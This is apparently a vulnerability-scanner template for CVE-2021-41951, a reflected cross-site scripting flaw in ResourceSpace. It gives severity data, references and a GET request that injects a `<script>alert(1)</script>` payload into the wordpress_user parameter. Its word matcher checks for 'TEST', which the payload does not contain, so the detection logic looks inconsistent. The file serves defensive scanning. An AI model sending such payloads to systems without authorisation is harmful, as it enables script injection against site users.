id: CVE-2021-41951 info: name: Resourcespace - Cross-Site Scripting author: coldfish severity: medium description: ResourceSpace before 9.6 rev 18290 is affected by a reflected cross-site scripting vulnerability in plugins/wordpress_sso/pages/index.php via the wordpress_user parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. remediation: | To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts. reference: - https://www.horizon3.ai/multiple-vulnerabilities-in-resourcespace/ - https://nvd.nist.gov/vuln/detail/CVE-2021-41951 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-41951 cwe-id: CWE-79 epss-score: 0.77372 epss-percentile: 0.9794 cpe: cpe:2.3:a:montala:resourcespace:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: montala product: resourcespace tags: cve2021,cve,xss,resourcespace,montala http: - method: GET path: - '{{BaseURL}}/plugins/wordpress_sso/pages/index.php?wordpress_user=%3Cscript%3Ealert(1)%3C/script%3E' matchers-condition: and matchers: - type: word words: - "TEST" - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4b0a0048304602210081694a2c7706561a852ad67856a20bf8a6daf9e1787f20a6c27e544316f56dfe022100ebfb52f1bc0f0e007901508d3ef07f75af27e413d88d43fc9e41547818e2bb3c:922c64590222798bb761d5b6d8e72950